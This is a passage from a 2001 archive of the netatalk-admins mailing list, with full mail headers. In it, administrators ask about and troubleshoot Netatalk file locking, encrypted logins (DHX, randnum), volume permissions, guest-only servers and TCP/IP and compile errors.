 (i686-pc-linux-gnu) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=)
X-Prom-WL: Prom-WL 1.1.2 (procmail reader for Wanderlust)
X-PGP-Fingerprint: A136 57B5 E2FD 97CD C945  DAA0 C2E5 6C19 4FD9 38AA
X-PGP-Pubkey: <URL:http://www.t3.rim.or.jp/~hirose31/pubkey.txt>
X-Cite: MU-CITE 8.1 (yet another citation tool for GNU Emacs)
MIME-Version: 1.0 (generated by SEMI 1.14.1 - =?ISO-2022-JP?B?IhskQjJDGyhC?=
 =?ISO-2022-JP?B?GyRCMmwyOUB0GyhCIg==?=)
Content-Type: text/plain; charset=US-ASCII


Hello,

on "Re: Basic permissions questions"
   <B6886BC3.26E4%basil.hussain@specialreserve.net>
at Mon, 15 Jan 2001 08:56:35 +0000
   Basil Hussain <basil.hussain@specialreserve.net> wrote:

> > I saw another posting about file locking earlier today.  I've never had a
> > problem with it.  If two users open up the same Word file on the server,
> > for example, the second person to access it is asked if they want to open
> > it read-only since the file is already in use by someone else.  *shrug*

> It sounds to me like that's maybe just MS Word doing that itself somehow.
> Through various versions of Netatalk installed on our servers I've never
> seen this happen using something like BBEdit or Photoshop on shared files.

Simple Text does.

Netatalk locks (flock() or fcntl()) resource fork file. On the other
hand, Samba locks (fcntl()) actual file (data fork).

I think,
if Netatalk locks data fork file (or Samba locks resource fork file),
users of Netatalk and Samba can open file exclusively with application
which supported lock system.

# I don't know why Netatalk locks resource fork not data fork.

How about this idea?

-- 
HIROSE, Masaaki

From netatalk.administrators-errors@umich.edu  Mon Jan 15 09:46:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28832
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 09:46:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22819
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 09:46:24 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22793
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 09:46:23 -0500 (EST)
Received: from kanarie.xilay.cxm (cc56962-a.ensch1.ov.nl.home.com [212.204.167.144])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA22703
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 09:46:21 -0500 (EST)
From: vgb@enschede.dhs.org
Received: (from lp@localhost)
	by kanarie.xilay.cxm (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) id f0FEkTn09009
	for netatalk-admins@umich.edu; Mon, 15 Jan 2001 15:46:29 +0100
X-Authentication-Warning: kanarie.xilay.cxm: lp set sender to vgb@enschede.dhs.org using -f
To: Netatalk vragen <netatalk-admins@umich.edu>
Subject: Very slow login and multiple logins
Message-ID: <979569989.3a630d4570111@kanarie.xilay.cxm>
Date: Mon, 15 Jan 2001 15:46:29 +0100 (CET)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.3
X-Originating-IP: 213.51.84.34

I am using Mac OS 9 and Netatalk-1.42b2+asun2.1.4-0 and 
are experiencing the follwing problem.

I replaced a NT-server by a SuSE 7.0 box, some Mac's 
(with Mac os 8.x) can login quick and without a 
problem, other Mac's (with Mac OS 9) seem to freeze a 
few minutes and they request multiple logins by 
different loginnames.

Even after canceling all logins and auto-logins they 
request a login, at last, after the Mac has started 
(after several minutes), I can login very quickly! and 
it requests only one loginname.

I tried this with and without -notcp but this doesn't 
seem to help. Anyone?

With friendly regards,

Vincent

From netatalk.administrators-errors@umich.edu  Mon Jan 15 14:15:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA05969
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 14:15:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05976
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 14:15:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05942
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 14:15:32 -0500 (EST)
Received: from inside.trenza.com ([209.58.181.227])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA05885
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 14:15:31 -0500 (EST)
Received: from Mumia (mumia.trenza.com [10.0.0.192])
	by inside.trenza.com (8.9.3/8.9.3) with SMTP id OAA10197
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 14:12:11 -0500
Message-ID: <012801c07f28$4cee02e0$8000000a@Mumia>
From: "Keith Baker" <keith@trenza.com>
To: <netatalk-admins@umich.edu>
Subject: Compiling with DES etc...
Date: Mon, 15 Jan 2001 14:21:03 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

What do I need to do to get encrypted Appletalk connections.  I am using
Redhat 6.2 on an Alpha.  I got the stock 1.3.3 version running but its butt
slow and I have no encryption.  RH 6.2 comes with Kerberos V (I think its 5
anyhow)...  libdes seems to be included in a wierd form
(/usr/kerberos/include/kerberosIV/des.h exists for example)...  my question
is...  can I get appletalk to do DES or Kerberos for authentication?  I hate
plaintext!
                                                                    Thanks
for you time,

Keith


From netatalk.administrators-errors@umich.edu  Mon Jan 15 15:26:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA08377
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 15:26:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA01872
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 15:26:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA01848
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 15:26:34 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA01805
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 15:26:32 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id MAA06601;
	Mon, 15 Jan 2001 12:26:36 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Mon, 15 Jan 2001 12:26:36 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Keith Baker <keith@trenza.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Compiling with DES etc...
In-Reply-To: <012801c07f28$4cee02e0$8000000a@Mumia>
Message-ID: <Pine.LNX.4.30.0101151219200.22874-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 15 Jan 2001, Keith Baker wrote:

> What do I need to do to get encrypted Appletalk connections.  I am using
> Redhat 6.2 on an Alpha.  I got the stock 1.3.3 version running but its butt
> slow and I have no encryption.  RH 6.2 comes with Kerberos V (I think its 5
> anyhow)...  libdes seems to be included in a wierd form
> (/usr/kerberos/include/kerberosIV/des.h exists for example)...  my question
> is...  can I get appletalk to do DES or Kerberos for authentication?  I hate
> plaintext!

You'll need to install the OpenSSL libraries first.  Then grab the latest
tar.gz file from http://netatalk.sourceforge.net.

I've never used the Kerberos support in Netatalk, but there are a couple
other methods of doing encrypted logins.  One type is randnum and
rand2num, in which the client and server exchange random numbers to
authenticate (I'm ignorant of the details).  The downside of
randnum/rand2num is that you have to store paswords in cleartext on the
server, which may be a problem.

The other encrypted login method is DHX.  This builds an SSL-like
connection to send the password to the server.  It does not require any
changes to your backend password storage method.  It can use PAM as well.

Hope this helps,
	Andy


From netatalk.administrators-errors@umich.edu  Tue Jan 16 07:30:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA00061
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 07:30:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA23031
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 07:30:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA22953
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 07:30:22 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA22910
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 07:30:20 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.03) id AE0D19920052; Tue, 16 Jan 2001 06:26:53 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: <netatalk-admins@umich.edu>
Subject: Dropbox
Date: Tue, 16 Jan 2001 06:33:53 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOAEFHDJAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <012801c07f28$4cee02e0$8000000a@Mumia>


I need to make a dropbox that is writeable only by students and R/W possible
by staff.  I was going to group the student login, but make the owner the
staff member.  What do I need to enter into the .AppleVolumes for the
students to mount it as write only?  and for the Staff member to have R/W
access to it?

Thanks in advance.

Heath Henderson


From netatalk.administrators-errors@umich.edu  Tue Jan 16 08:04:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA00825
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 08:04:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05770
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 08:04:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05719
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 08:04:29 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA05658
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 08:04:27 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Tue, 16 Jan 2001 13:04:12 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 16 Jan 2001 13:04:11 +0000
Subject: Hidden Files Not Being Copied
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B689F74B.27D7%basil.hussain@specialreserve.net>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

I just noticed something the other day when I was doing some organisation of
files on a Netatalk-hosted share.

I duplicated (i.e. Apple-D, not a copy) a whole folder, but discovered that
hidden files (i.e. anything starting with a dot) were not copied! For
example, this folder contained two hidden files, .htaccess and .htpasswd -
they hadn't been copied in the duplication!

Would this be a problem at the MacOS client end (MacOS 9.0.4), or something
to-do with Netatalk (netatalk 1.4.99-20001108)?

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Tue Jan 16 09:23:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA02995
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 09:23:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05932
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 09:23:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05911
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 09:23:44 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA05881
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 09:23:43 -0500 (EST)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id JAA19237;
	Tue, 16 Jan 2001 09:23:47 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A64593C.8AC53DE0@univrel.pr.uconn.edu>
Date: Tue, 16 Jan 2001 09:22:52 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Heath Henderson <heath@dave-world.net>
CC: netatalk-admins@umich.edu
Subject: Re: Dropbox
References: <NDBBLIPGCLLELIOOICKOAEFHDJAA.heath@dave-world.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Heath Henderson wrote:
> I need to make a dropbox that is writeable only by students and R/W possible
> by staff.  I was going to group the student login, but make the owner the
> staff member.  What do I need to enter into the .AppleVolumes for the
> students to mount it as write only?  and for the Staff member to have R/W
> access to it?

In your AppleVolumes.default file, set the rolist and rwlist options
with the list of users and groups that you want to have access.

Example:

/here	"My Share"	rolist:read,@readgroup rwlist:write,@writegroup

That should do it.

jeff

From netatalk.administrators-errors@umich.edu  Tue Jan 16 10:59:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA05927
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 10:59:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA26364
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 10:59:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA26343
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 10:59:15 -0500 (EST)
Received: from hemi.metrotv.com ([209.98.153.188])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA26266
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 10:59:13 -0500 (EST)
Received: (qmail 10592 invoked by uid 1009); 16 Jan 2001 16:02:53 -0000
Received: from excursion.metrotv.com (HELO ?209.98.153.38?) (209.98.153.38)
  by mail.metrotv.com with SMTP; 16 Jan 2001 16:02:53 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 16 Jan 2001 09:59:51 -0600
Subject: TCP/IP not working
From: Eric Long <eric@metrotv.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B689CC17.11C9%eric@metrotv.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I'm running FreeBSD 3.4-RELEASE, recompiled the kernel with netatalk
support, and installed netatalk 1.4b2 from the ports collection.

AppleTalk works, AppleTalk via TCP/IP does not.  When clicking the "Server
IP Address..." button in the chooser on any mac, it cannot connect via
TCP/IP when entering any one of the ip's the FreeBSD box uses.

Any suggestions as to where the problem is?

-Eric


From netatalk.administrators-errors@umich.edu  Tue Jan 16 11:20:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06616
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 11:20:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA04910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 11:20:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA04832
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 11:20:16 -0500 (EST)
Received: from inside.trenza.com ([209.58.181.227])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA04780
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 11:20:15 -0500 (EST)
Received: from Mumia (mumia.trenza.com [10.0.0.192])
	by inside.trenza.com (8.9.3/8.9.3) with SMTP id LAA30859
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 11:16:59 -0500
Message-ID: <002c01c07fd8$fe316f50$c000000a@Mumia>
From: "Keith Baker" <keith@trenza.com>
To: <netatalk-admins@umich.edu>
Subject: uams failing
Date: Tue, 16 Jan 2001 11:25:51 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Thanks to this list I got the sourceforge source to compile.1.4.99...  It
was erroring with -lcrypto...  I noticed that there was also -lcrypt and
figured they might be an attempt to get libraries of the same veriety...

> ld -shared  -o uams_dhx_passwd.so
>
ams_dhx_passwd.o -lcrypto -lrpcsvc -lresolv -lnsl -ldl -ldb -lcrypt  -lpam
> -lwrap
> ld: cannot find -lcrypto


I noticed durring the compile that other things were using -lcrypto and were
compiling correctly so I think I may have been wrong.  But...  things
compiled happily after this.  When I went to try and use the authentication
modules my Mac was yelling about unsuported UAM.  I hunted around and found
the DHX UAM from apple.  This didn't help.  Oh yeah...  I was trying to use
DHX only (uams_dhx_pam.so)...  Also note that it works fine with
uams_clrtxt.so...  So I poked through my logs and noticed that low and
behold uams_dhx_pam.so was failing!  doh!

papd[25717]: uam_load(uams_dhx_pam.so): failed to load.
papd[25717]: /etc/atalk/uams/uams_dhx_pam.so: undefined symbol: BN_bin2bn

afpd was getting similar errors

I am guessing that having ssl in /usr/local/ssl has something to do with it
(the shared libs aren't available?)
Any help?


From netatalk.administrators-errors@umich.edu  Tue Jan 16 11:27:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06740
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 11:27:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18713
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 11:27:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18670
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 11:27:45 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA18534
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 11:27:41 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id IAA10355;
	Tue, 16 Jan 2001 08:27:45 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Tue, 16 Jan 2001 08:27:45 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Eric Long <eric@metrotv.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: TCP/IP not working
In-Reply-To: <B689CC17.11C9%eric@metrotv.com>
Message-ID: <Pine.LNX.4.30.0101160827170.10269-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 16 Jan 2001, Eric Long wrote:

> I'm running FreeBSD 3.4-RELEASE, recompiled the kernel with netatalk
> support, and installed netatalk 1.4b2 from the ports collection.
>
> AppleTalk works, AppleTalk via TCP/IP does not.  When clicking the "Server
> IP Address..." button in the chooser on any mac, it cannot connect via
> TCP/IP when entering any one of the ip's the FreeBSD box uses.
>
> Any suggestions as to where the problem is?

What do you see in your syslogs when netatalk starts up?  Is afpd binding
to an IP address?

	Andy


From netatalk.administrators-errors@umich.edu  Tue Jan 16 11:45:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07163
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 11:45:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29504
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 11:45:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29466
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 11:45:12 -0500 (EST)
Received: from home.offwhite.net (home.offwhite.net [156.46.35.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA29324
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 11:45:07 -0500 (EST)
Received: from localhost (brennan@localhost)
	by home.offwhite.net (8.9.1/8.9.3) with ESMTP id KAA27023;
	Tue, 16 Jan 2001 10:45:04 -0600 (CST)
Date: Tue, 16 Jan 2001 10:45:04 -0600 (CST)
From: Brennan Stehling <brennan@offwhite.net>
To: Eric Long <eric@metrotv.com>
cc: netatalk-admins@umich.edu
Subject: Re: TCP/IP not working
In-Reply-To: <B689CC17.11C9%eric@metrotv.com>
Message-ID: <Pine.BSF.4.21.0101161044320.26962-100000@home.offwhite.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Do you have the asun version?  What exact version are you running?


Brennan Stehling - software developer and system administrator
  my projects: 
       home.offwhite.net (free personal hosting)
       www.greasydaemon.com (bsd search)
       beta.mymilwaukee.com (initial mockup)
       beta.sncalumni.com (initial mockup)


On Tue, 16 Jan 2001, Eric Long wrote:

> I'm running FreeBSD 3.4-RELEASE, recompiled the kernel with netatalk
> support, and installed netatalk 1.4b2 from the ports collection.
> 
> AppleTalk works, AppleTalk via TCP/IP does not.  When clicking the "Server
> IP Address..." button in the chooser on any mac, it cannot connect via
> TCP/IP when entering any one of the ip's the FreeBSD box uses.
> 
> Any suggestions as to where the problem is?
> 
> -Eric
> 
> 


From netatalk.administrators-errors@umich.edu  Tue Jan 16 11:46:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07192
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 11:46:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA20961
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 11:45:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA20935
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 11:45:53 -0500 (EST)
Received: from inside.trenza.com ([209.58.181.227])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA20850
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 11:45:50 -0500 (EST)
Received: from Mumia (mumia.trenza.com [10.0.0.192])
	by inside.trenza.com (8.9.3/8.9.3) with SMTP id LAA31144
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 11:42:35 -0500
Message-ID: <003401c07fdc$917b1830$c000000a@Mumia>
From: "Keith Baker" <keith@trenza.com>
To: <netatalk-admins@umich.edu>
Subject: Guest Only Server
Date: Tue, 16 Jan 2001 11:51:27 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

A guest only server seemed like a good idea for security.  I have two
servers on one box.  Guest is one of them.  Guest is defined as such:
"Guest" -transall -uamlist uams_guest.so -systemvol
/etc/atalkd/AppleVolumes.guest \

the AppleVolumes.guest file has all of the standard mappings and then at the
bottom has the line
/mnt/world World

The lines describing the AppleVolumes file says that the systemvol one
defines the mappings and the shares available to guest...  so I figured this
should make just the share "World" available to guest.  It did...  however
in the list (greyed out mind you) was another share from
Applevolumes.default.  Why would this exist as I am guest?  I figrued the
fact that it was greyed out was ok...  but not the best of all worlds...  So
I created a new AppleVolumes.default file (as AppleVolumes.empty added it
with -defaultvol option) and removed everything except the "World" share
from the .empty file. Now I get nothing for guest!  Argh!...  It seems from
reading that the only thing I should have to do for a guest volume is add it
to the AppleVolumes.system!  This is really screwy!

Keith

P.S.  Anyone else get an occasional Hickup in their transfers.  about every
meg or so I see a considerable well...  not slowdown...  it really stops...
and then it continues...  ideas?


From netatalk.administrators-errors@umich.edu  Tue Jan 16 12:12:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA08241
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 16 Jan 2001 12:12:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA17714
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 16 Jan 2001 12:12:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA17706
	for netatalk.administrators-members@umich.edu; Tue, 16 Jan 2001 12:12:04 -0500 (EST)
Received: from hemi.metrotv.com ([209.98.153.188])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA17647
	for <netatalk-admins@umich.edu>; Tue, 16 Jan 2001 12:12:01 -0500 (EST)
Received: (qmail 14074 invoked by uid 1009); 16 Jan 2001 17:15:35 -0000
Received: from excursion.metrotv.com (HELO ?209.98.153.38?) (209.98.153.38)
  by mail.metrotv.com with SMTP; 16 Jan 2001 17:15:35 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 16 Jan 2001 11:12:34 -0600
Subject: Compiling error: parse error before `size_t'
From: Eric Long <eric@metrotv.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B689DD21.11E3%eric@metrotv.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Originally, I had a TCP/IP issue, but I have managed to further screw things
up.  After realizing I applied the free space calculation patch twice, I
decided to just start over.

